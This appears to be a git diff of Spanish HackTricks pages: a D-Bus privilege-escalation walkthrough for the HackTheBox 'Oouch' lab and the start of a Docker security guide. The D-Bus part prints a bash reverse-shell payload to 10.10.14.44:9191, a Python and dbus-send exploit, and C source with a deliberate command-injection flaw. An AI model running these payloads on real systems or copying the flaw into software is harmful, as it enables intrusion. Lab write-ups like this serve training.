|
||||
```
|
||||
![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png)
|
||||
|
||||
_Figura 1. Ventana principal de D-Feet_
|
||||
|
||||
![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png)
|
||||
|
||||
_Figura 2. Ventana de interfaz de D-Feet_
|
||||
|
||||
En el panel izquierdo de la Figura 1 se pueden ver todos los diferentes servicios que se han registrado con el sistema de bus del demonio D-Bus (note el botón Seleccionar bus del sistema en la parte superior). Seleccioné el servicio **org.debin.apt**, y D-Feet automáticamente **consultó el servicio para obtener todos los objetos disponibles**. Una vez que seleccioné un objeto específico, se listan todos los interfaces, con sus respectivos métodos, propiedades y señales, como se ve en la Figura 2. Note que también obtenemos la firma de cada **método IPC expuesto**.
|
||||
|
||||
También podemos ver el **pid del proceso** que aloja cada servicio, así como su **línea de comandos**. Esta es una característica muy útil, ya que podemos validar que el servicio objetivo que estamos inspeccionando se ejecuta con privilegios más altos. Algunos servicios en el bus del sistema no se ejecutan como root, y por lo tanto son menos interesantes de investigar.
|
||||
|
||||
D-Feet también permite llamar a los diversos métodos. En la pantalla de entrada del método podemos especificar una lista de expresiones de Python, delimitadas por comas, que se interpretarán como los parámetros de la función invocada, como se muestra en la Figura 3. Los tipos de Python se empaquetan en tipos de D-Bus y se pasan al servicio.
|
||||
|
||||
![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-23.png)
|
||||
|
||||
_Figura 3. Llamando a los métodos de D-Bus a través de D-Feet_
|
||||
|
||||
Algunos métodos requieren autenticación antes de permitirnos invocarlos. Ignoraremos estos métodos, ya que nuestro objetivo es elevar nuestros privilegios sin credenciales en primer lugar.
|
||||
|
||||
![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-24.png)
|
||||
|
||||
_Figura 4. Un método que requiere autorización_
|
||||
|
||||
También tenga en cuenta que algunos de los servicios consultan otro servicio de D-Bus llamado org.freedeskto.PolicyKit1 para determinar si un usuario debe o no estar autorizado para realizar ciertas acciones.
|
||||
|
||||
## **Enumeración de línea de comandos**
|
||||
|
||||
### Listar objetos de servicio
|
||||
|
||||
Es posible listar las interfaces de D-Bus abiertas con:
|
||||
```bash
|
||||
busctl list #List D-Bus interfaces
|
||||
|
||||
NAME PID PROCESS USER CONNECTION UNIT SE
|
||||
:1.0 1 systemd root :1.0 init.scope -
|
||||
:1.1345 12817 busctl qtc :1.1345 session-729.scope 72
|
||||
:1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service -
|
||||
:1.3 2609 dbus-server root :1.3 dbus-server.service -
|
||||
:1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
|
||||
:1.6 2612 systemd-logind root :1.6 systemd-logind.service -
|
||||
:1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv… -
|
||||
:1.820 6583 systemd qtc :1.820 user@1000.service -
|
||||
com.ubuntu.SoftwareProperties - - - (activatable) - -
|
||||
fi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
|
||||
fi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
|
||||
htb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service -
|
||||
org.bluez - - - (activatable) - -
|
||||
org.freedesktop.DBus 1 systemd root - init.scope -
|
||||
org.freedesktop.PackageKit - - - (activatable) - -
|
||||
org.freedesktop.PolicyKit1 - - - (activatable) - -
|
||||
org.freedesktop.hostname1 - - - (activatable) - -
|
||||
org.freedesktop.locale1 - - - (activatable) - -
|
||||
```
|
||||
#### Conexiones
|
||||
|
||||
Cuando un proceso establece una conexión con un bus, el bus asigna a la conexión un nombre especial de bus llamado _nombre de conexión única_. Los nombres de bus de este tipo son inmutables, lo que significa que no cambiarán mientras la conexión exista, y, lo que es más importante, no se pueden reutilizar durante la vida útil del bus. Esto significa que ninguna otra conexión a ese bus tendrá asignado un nombre de conexión única, incluso si el mismo proceso cierra la conexión al bus y crea una nueva. Los nombres de conexión única son fácilmente reconocibles porque comienzan con el carácter de dos puntos, que de otra manera estaría prohibido.
|
||||
|
||||
### Información del objeto de servicio
|
||||
```bash
|
||||
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface
|
||||
|
||||
PID=2609
|
||||
PPID=1
|
||||
TTY=n/a
|
||||
UID=0
|
||||
EUID=0
|
||||
SUID=0
|
||||
FSUID=0
|
||||
GID=0
|
||||
EGID=0
|
||||
SGID=0
|
||||
FSGID=0
|
||||
SupplementaryGIDs=
|
||||
Comm=dbus-server
|
||||
CommandLine=/root/dbus-server
|
||||
Label=unconfined
|
||||
CGroup=/system.slice/dbus-server.service
|
||||
Unit=dbus-server.service
|
||||
Slice=system.slice
|
||||
UserUnit=n/a
|
||||
UserSlice=n/a
|
||||
Session=n/a
|
||||
AuditLoginUID=n/a
|
||||
AuditSessionID=n/a
|
||||
UniqueName=:1.3
|
||||
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
|
||||
cap_fowner cap_fsetid cap_kill cap_setgid
|
||||
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
|
||||
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
|
||||
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
|
||||
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
|
||||
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
|
||||
cap_mknod cap_lease cap_audit_write cap_audit_control
|
||||
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
||||
cap_wake_alarm cap_block_suspend cap_audit_read
|
||||
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
|
||||
cap_fowner cap_fsetid cap_kill cap_setgid
|
||||
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
|
||||
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
|
||||
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
|
||||
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
|
||||
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
|
||||
cap_mknod cap_lease cap_audit_write cap_audit_control
|
||||
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
||||
cap_wake_alarm cap_block_suspend cap_audit_read
|
||||
InheritableCapabilities=
|
||||
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
|
||||
cap_fowner cap_fsetid cap_kill cap_setgid
|
||||
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
|
||||
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
|
||||
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
|
||||
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
|
||||
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
|
||||
cap_mknod cap_lease cap_audit_write cap_audit_control
|
||||
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
||||
cap_wake_alarm cap_block_suspend cap_audit_read
|
||||
```
|
||||
### Listar Interfaces de un Objeto de Servicio
|
||||
|
||||
Es necesario tener suficientes permisos.
|
||||
```bash
|
||||
busctl tree htb.oouch.Block #Get Interfaces of the service object
|
||||
|
||||
└─/htb
|
||||
└─/htb/oouch
|
||||
└─/htb/oouch/Block
|
||||
```
|
||||
### Interfaz Introspect de un Objeto de Servicio
|
||||
|
||||
Observe cómo en este ejemplo se seleccionó la última interfaz descubierta utilizando el parámetro `tree` (_ver sección anterior_):
|
||||
```bash
|
||||
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
|
||||
|
||||
NAME TYPE SIGNATURE RESULT/VALUE FLAGS
|
||||
htb.oouch.Block interface - - -
|
||||
.Block method s s -
|
||||
org.freedesktop.DBus.Introspectable interface - - -
|
||||
.Introspect method - s -
|
||||
org.freedesktop.DBus.Peer interface - - -
|
||||
.GetMachineId method - s -
|
||||
.Ping method - - -
|
||||
org.freedesktop.DBus.Properties interface - - -
|
||||
.Get method ss v -
|
||||
.GetAll method s a{sv} -
|
||||
.Set method ssv - -
|
||||
.PropertiesChanged signal sa{sv}as - -
|
||||
```
|
||||
Ten en cuenta el método `.Block` de la interfaz `htb.oouch.Block` (el que nos interesa). La "s" de las otras columnas puede significar que espera una cadena.
|
||||
|
||||
### Interfaz de monitorización/captura
|
||||
|
||||
Con suficientes privilegios (solo `send_destination` y `receive_sender` no son suficientes), puedes **monitorizar una comunicación D-Bus**.
|
||||
|
||||
Para **monitorizar** una **comunicación**, necesitarás ser **root**. Si aún tienes problemas para ser root, consulta [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) y [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Si sabes cómo configurar un archivo de configuración de D-Bus para **permitir que los usuarios no root husmeen** en la comunicación, ¡**contáctame**!
|
||||
{% endhint %}
|
||||
|
||||
Diferentes formas de monitorizar:
|
||||
```bash
|
||||
sudo busctl monitor htb.oouch.Block #Monitor only specified
|
||||
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
|
||||
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
|
||||
```
|
||||
En el siguiente ejemplo se monitorea la interfaz `htb.oouch.Block` y se envía el mensaje "**_**lalalalal**_**" a través de una mala comunicación:
|
||||
```bash
|
||||
busctl monitor htb.oouch.Block
|
||||
|
||||
Monitoring bus message stream.
|
||||
‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2
|
||||
Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block
|
||||
UniqueName=:1.1376
|
||||
MESSAGE "s" {
|
||||
STRING "lalalalal";
|
||||
};
|
||||
|
||||
‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2
|
||||
Sender=:1.3 Destination=:1.1376
|
||||
UniqueName=:1.3
|
||||
MESSAGE "s" {
|
||||
STRING "Carried out :D";
|
||||
};
|
||||
```
|
||||
Puedes usar `capture` en lugar de `monitor` para guardar los resultados en un archivo pcap.
|
||||
|
||||
#### Filtrando todo el ruido <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
|
||||
|
||||
Si hay demasiada información en el bus, pasa una regla de coincidencia de la siguiente manera:
|
||||
```bash
|
||||
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
|
||||
```
|
||||
Se pueden especificar múltiples reglas. Si un mensaje coincide con _cualquiera_ de las reglas, el mensaje se imprimirá. De esta manera:
|
||||
```bash
|
||||
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
||||
```
|
||||
|
||||
```bash
|
||||
dbus-monitor "type=method_call" "type=method_return" "type=error"
|
||||
```
|
||||
Consulte la [documentación de D-Bus](http://dbus.freedesktop.org/doc/dbus-specification.html) para obtener más información sobre la sintaxis de las reglas de coincidencia.
|
||||
|
||||
### Más
|
||||
|
||||
`busctl` tiene aún más opciones, [**encuentra todas ellas aquí**](https://www.freedesktop.org/software/systemd/man/busctl.html).
|
||||
|
||||
## **Escenario Vulnerable**
|
||||
|
||||
Como usuario **qtc dentro del host "oouch" de HTB**, puede encontrar un **archivo de configuración de D-Bus inesperado** ubicado en _/etc/dbus-1/system.d/htb.oouch.Block.conf_:
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
|
||||
|
||||
<!DOCTYPE busconfig PUBLIC
|
||||
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
|
||||
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
|
||||
|
||||
<busconfig>
|
||||
|
||||
<policy user="root">
|
||||
<allow own="htb.oouch.Block"/>
|
||||
</policy>
|
||||
|
||||
<policy user="www-data">
|
||||
<allow send_destination="htb.oouch.Block"/>
|
||||
<allow receive_sender="htb.oouch.Block"/>
|
||||
</policy>
|
||||
|
||||
</busconfig>
|
||||
```
|
||||
Nota de la configuración anterior que **necesitarás ser el usuario `root` o `www-data` para enviar y recibir información** a través de esta comunicación D-BUS.
|
||||
|
||||
Como usuario **qtc** dentro del contenedor docker **aeb4525789d8** puedes encontrar algún código relacionado con dbus en el archivo _/code/oouch/routes.py._ Este es el código interesante:
|
||||
```python
|
||||
if primitive_xss.search(form.textfield.data):
|
||||
bus = dbus.SystemBus()
|
||||
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
|
||||
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
|
||||
|
||||
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
|
||||
response = block_iface.Block(client_ip)
|
||||
bus.close()
|
||||
return render_template('hacker.html', title='Hacker')
|
||||
```
|
||||
Como se puede ver, se está **conectando a una interfaz D-Bus** y enviando a la función **"Block"** la dirección IP del cliente.
|
||||
|
||||
En el otro lado de la conexión D-Bus hay un binario compilado en C en ejecución. Este código está **escuchando** en la conexión D-Bus **para la dirección IP y está llamando a iptables a través de la función `system`** para bloquear la dirección IP dada.\
|
||||
**La llamada a `system` es vulnerable a propósito a la inyección de comandos**, por lo que una carga útil como la siguiente creará una shell inversa: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
|
||||
### Explotarlo
|
||||
|
||||
Al final de esta página puedes encontrar el **código C completo de la aplicación D-Bus**. Dentro de él puedes encontrar entre las líneas 91-97 **cómo se registran la `ruta del objeto D-Bus`** y el **`nombre de la interfaz`**. Esta información será necesaria para enviar información a la conexión D-Bus:
|
||||
```c
|
||||
/* Install the object */
|
||||
r = sd_bus_add_object_vtable(bus,
|
||||
&slot,
|
||||
"/htb/oouch/Block", /* interface */
|
||||
"htb.oouch.Block", /* service object */
|
||||
block_vtable,
|
||||
NULL);
|
||||
```
|
||||
Además, en la línea 57 se puede encontrar que **el único método registrado** para esta comunicación D-Bus se llama `Block` (_**Por eso, en la siguiente sección, las cargas útiles se enviarán al objeto de servicio `htb.oouch.Block`, la interfaz `/htb/oouch/Block` y el nombre del método `Block`**_):
|
||||
```c
|
||||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||
```
|
||||
#### Python
|
||||
|
||||
El siguiente código en Python enviará el payload a la conexión D-Bus al método `Block` a través de `block_iface.Block(runme)` (_nota que fue extraído del fragmento de código anterior_):
|
||||
```python
|
||||
import dbus
|
||||
bus = dbus.SystemBus()
|
||||
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
|
||||
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
|
||||
runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
|
||||
response = block_iface.Block(runme)
|
||||
bus.close()
|
||||
```
|
||||
#### busctl y dbus-send
|
||||
```bash
|
||||
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
|
||||
```
|
||||
* `dbus-send` es una herramienta utilizada para enviar mensajes al "Bus de Mensajes".
|
||||
* Bus de Mensajes - Un software utilizado por los sistemas para hacer que las comunicaciones entre aplicaciones sean fáciles. Está relacionado con la Cola de Mensajes (los mensajes se ordenan en secuencia) pero en el Bus de Mensajes los mensajes se envían en un modelo de suscripción y también son muy rápidos.
|
||||
* La etiqueta "-system" se utiliza para mencionar que es un mensaje del sistema, no un mensaje de sesión (por defecto).
|
||||
* La etiqueta "--print-reply" se utiliza para imprimir nuestro mensaje de manera apropiada y recibir cualquier respuesta en un formato legible para humanos.
|
||||
* "--dest=Dbus-Interface-Block" es la dirección de la interfaz Dbus.
|
||||
* "--string:" - Tipo de mensaje que nos gusta enviar a la interfaz. Hay varios formatos para enviar mensajes como double, bytes, booleans, int, objpath. De estos, "objpath" es útil cuando queremos enviar una ruta de archivo a la interfaz Dbus. Podemos usar un archivo especial (FIFO) en este caso para pasar un comando a la interfaz en el nombre de un archivo. "string:;" - Esto es para llamar a la ruta del objeto nuevamente donde colocamos el archivo FIFO o el archivo/comando de shell inversa.
|
||||
|
||||
_Nota que en `htb.oouch.Block.Block`, la primera parte (`htb.oouch.Block`) hace referencia al objeto de servicio y la última parte (`.Block`) hace referencia al nombre del método._
|
||||
|
||||
### Código C
|
||||
|
||||
{% code title="d-bus_server.c" %}
|
||||
```c
|
||||
//sudo apt install pkgconf
|
||||
//sudo apt install libsystemd-dev
|
||||
//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
#include <systemd/sd-bus.h>
|
||||
|
||||
static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
|
||||
char* host = NULL;
|
||||
int r;
|
||||
|
||||
/* Read the parameters */
|
||||
r = sd_bus_message_read(m, "s", &host);
|
||||
if (r < 0) {
|
||||
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
|
||||
return r;
|
||||
}
|
||||
|
||||
char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";
|
||||
|
||||
int command_len = strlen(command);
|
||||
int host_len = strlen(host);
|
||||
|
||||
char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
|
||||
if(command_buffer == NULL) {
|
||||
fprintf(stderr, "Failed to allocate memory\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
sprintf(command_buffer, command, host);
|
||||
|
||||
/* In the first implementation, we simply ran command using system(), since the expected DBus
|
||||
* to be threading automatically. However, DBus does not thread and the application will hang
|
||||
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
|
||||
* multithreading)
|
||||
*/
|
||||
int pid = fork();
|
||||
|
||||
if ( pid == 0 ) {
|
||||
/* Here we are in the child process. We execute the command and eventually exit. */
|
||||
system(command_buffer);
|
||||
exit(0);
|
||||
} else {
|
||||
/* Here we are in the parent process or an error occured. We simply send a genric message.
|
||||
* In the first implementation we returned separate error messages for success or failure.
|
||||
* However, now we cannot wait for results of the system call. Therefore we simply return
|
||||
* a generic. */
|
||||
return sd_bus_reply_method_return(m, "s", "Carried out :D");
|
||||
}
|
||||
r = system(command_buffer);
|
||||
}
|
||||
|
||||
|
||||
/* The vtable of our little object, implements the net.poettering.Calculator interface */
|
||||
static const sd_bus_vtable block_vtable[] = {
|
||||
SD_BUS_VTABLE_START(0),
|
||||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||
SD_BUS_VTABLE_END
|
||||
};
|
||||
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
/*
|
||||
* Main method, registeres the htb.oouch.Block service on the system dbus.
|
||||
*
|
||||
* Paramaters:
|
||||
* argc (int) Number of arguments, not required
|
||||
* argv[] (char**) Argument array, not required
|
||||
*
|
||||
* Returns:
|
||||
* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
|
||||
* as long as the user keeps it alive.
|
||||
*/
|
||||
|
||||
|
||||
/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
|
||||
signal(SIGCHLD,SIG_IGN);
|
||||
|
||||
sd_bus_slot *slot = NULL;
|
||||
sd_bus *bus = NULL;
|
||||
int r;
|
||||
|
||||
/* First we need to connect to the system bus. */
|
||||
r = sd_bus_open_system(&bus);
|
||||
if (r < 0)
|
||||
{
|
||||
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
|
||||
goto finish;
|
||||
}
|
||||
|
||||
/* Install the object */
|
||||
r = sd_bus_add_object_vtable(bus,
|
||||
&slot,
|
||||
"/htb/oouch/Block", /* interface */
|
||||
"htb.oouch.Block", /* service object */
|
||||
block_vtable,
|
||||
NULL);
|
||||
if (r < 0) {
|
||||
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
|
||||
goto finish;
|
||||
}
|
||||
|
||||
/* Register the service name to find out object */
|
||||
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
|
||||
if (r < 0) {
|
||||
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
|
||||
goto finish;
|
||||
}
|
||||
|
||||
/* Infinite loop to process the client requests */
|
||||
for (;;) {
|
||||
/* Process requests */
|
||||
r = sd_bus_process(bus, NULL);
|
||||
if (r < 0) {
|
||||
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
|
||||
goto finish;
|
||||
}
|
||||
if (r > 0) /* we processed a request, try to process another one, right-away */
|
||||
continue;
|
||||
|
||||
/* Wait for the next request to process */
|
||||
r = sd_bus_wait(bus, (uint64_t) -1);
|
||||
if (r < 0) {
|
||||
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
|
||||
goto finish;
|
||||
}
|
||||
}
|
||||
|
||||
finish:
|
||||
sd_bus_slot_unref(slot);
|
||||
sd_bus_unref(bus);
|
||||
|
||||
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
389
linux-hardening/privilege-escalation/docker-security/README.md
Normal file
389
linux-hardening/privilege-escalation/docker-security/README.md
Normal file
|
@ -0,0 +1,389 @@
|
|||
# Seguridad de Docker
|
||||
|
||||
![](<../../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad **más avanzadas** del mundo.\
|
||||
Obtenga acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## **Seguridad básica del motor de Docker**
|
||||
|
||||
El motor de Docker realiza el trabajo pesado de ejecutar y administrar contenedores. El motor de Docker utiliza características del kernel de Linux como **Namespaces** y **Cgroups** para proporcionar un aislamiento básico entre contenedores. También utiliza características como **la eliminación de capacidades**, **Seccomp**, **SELinux/AppArmor para lograr un mejor aislamiento**.
|
||||
|
||||
Finalmente, se puede utilizar un **plugin de autenticación** para **limitar las acciones** que los usuarios pueden realizar.
|
||||
|
||||
![](<../../../.gitbook/assets/image (625) (1) (1).png>)
|
||||
|
||||
### **Acceso seguro al motor de Docker**
|
||||
|
||||
El cliente de Docker puede acceder al motor de Docker **localmente usando un socket Unix o de forma remota usando el mecanismo http**. Para usarlo de forma remota, es necesario utilizar https y **TLS** para garantizar la confidencialidad, integridad y autenticación.
|
||||
|
||||
De forma predeterminada, escucha en el socket Unix `unix:///var/`\
|
||||
`run/docker.sock` y en las distribuciones de Ubuntu, las opciones de inicio de Docker se especifican en `/etc/default/docker`. Para permitir que la API y el cliente de Docker accedan al motor de Docker de forma remota, necesitamos **exponer el demonio de Docker usando un socket http**. Esto se puede hacer mediante:
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H
|
||||
tcp://192.168.56.101:2376" -> add this to /etc/default/docker
|
||||
Sudo service docker restart -> Restart Docker daemon
|
||||
```
|
||||
Exponer el demonio de Docker mediante http no es una buena práctica y es necesario asegurar la conexión mediante https. Hay dos opciones: la primera opción es que el **cliente verifique la identidad del servidor** y la segunda opción es que **tanto el cliente como el servidor se verifiquen mutuamente**. Los certificados establecen la identidad de un servidor. Para un ejemplo de ambas opciones, [**consulte esta página**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
|
||||
|
||||
### **Seguridad de la imagen del contenedor**
|
||||
|
||||
Las imágenes de los contenedores se almacenan en un repositorio privado o público. A continuación, se presentan las opciones que Docker proporciona para almacenar imágenes de contenedores:
|
||||
|
||||
* [Docker hub](https://hub.docker.com) - Este es un servicio de registro público proporcionado por Docker.
|
||||
* [Docker registry](https://github.com/%20docker/distribution) - Este es un proyecto de código abierto que los usuarios pueden usar para alojar su propio registro.
|
||||
* [Docker trusted registry](https://www.docker.com/docker-trusted-registry) - Esta es la implementación comercial de Docker del registro de Docker y proporciona autenticación de usuario basada en roles junto con la integración del servicio de directorio LDAP.
|
||||
|
||||
### Escaneo de imágenes
|
||||
|
||||
Los contenedores pueden tener **vulnerabilidades de seguridad** debido a la imagen base o al software instalado encima de la imagen base. Docker está trabajando en un proyecto llamado **Nautilus** que realiza un escaneo de seguridad de los contenedores y enumera las vulnerabilidades. Nautilus funciona comparando cada capa de la imagen del contenedor con el repositorio de vulnerabilidades para identificar agujeros de seguridad.
|
||||
|
||||
Para obtener más [**información, lea esto**](https://docs.docker.com/engine/scan/).
|
||||
|
||||
#### Cómo escanear imágenes <a href="#how-to-scan-images" id="how-to-scan-images"></a>
|
||||
|
||||
El comando `docker scan` le permite escanear imágenes de Docker existentes utilizando el nombre o ID de la imagen. Por ejemplo, ejecute el siguiente comando para escanear la imagen hello-world:
|
||||
```bash
|
||||
docker scan hello-world
|
||||
|
||||
Testing hello-world...
|
||||
|
||||
Organization: docker-desktop-test
|
||||
Package manager: linux
|
||||
Project name: docker-image|hello-world
|
||||
Docker image: hello-world
|
||||
Licenses: enabled
|
||||
|
||||
✓ Tested 0 dependencies for known issues, no vulnerable paths found.
|
||||
|
||||
Note that we do not currently have vulnerability data for your image.
|
||||
```
|
||||
### Firma de Imágenes de Docker
|
||||
|
||||
Las imágenes de contenedor de Docker pueden almacenarse en un registro público o privado. Es necesario **firmar** las imágenes de **contenedor** para poder confirmar que las imágenes no han sido manipuladas. El **editor** de contenido se encarga de **firmar** la imagen del contenedor y de enviarla al registro.\
|
||||
A continuación se presentan algunos detalles sobre la confianza del contenido de Docker:
|
||||
|
||||
* La confianza del contenido de Docker es una implementación del proyecto de código abierto [Notary](https://github.com/docker/notary). El proyecto de código abierto Notary se basa en el proyecto [The Update Framework (TUF)](https://theupdateframework.github.io).
|
||||
* La confianza del contenido de Docker se habilita con `export DOCKER_CONTENT_TRUST=1`. A partir de la versión 1.10 de Docker, la confianza del contenido **no está habilitada de forma predeterminada**.
|
||||
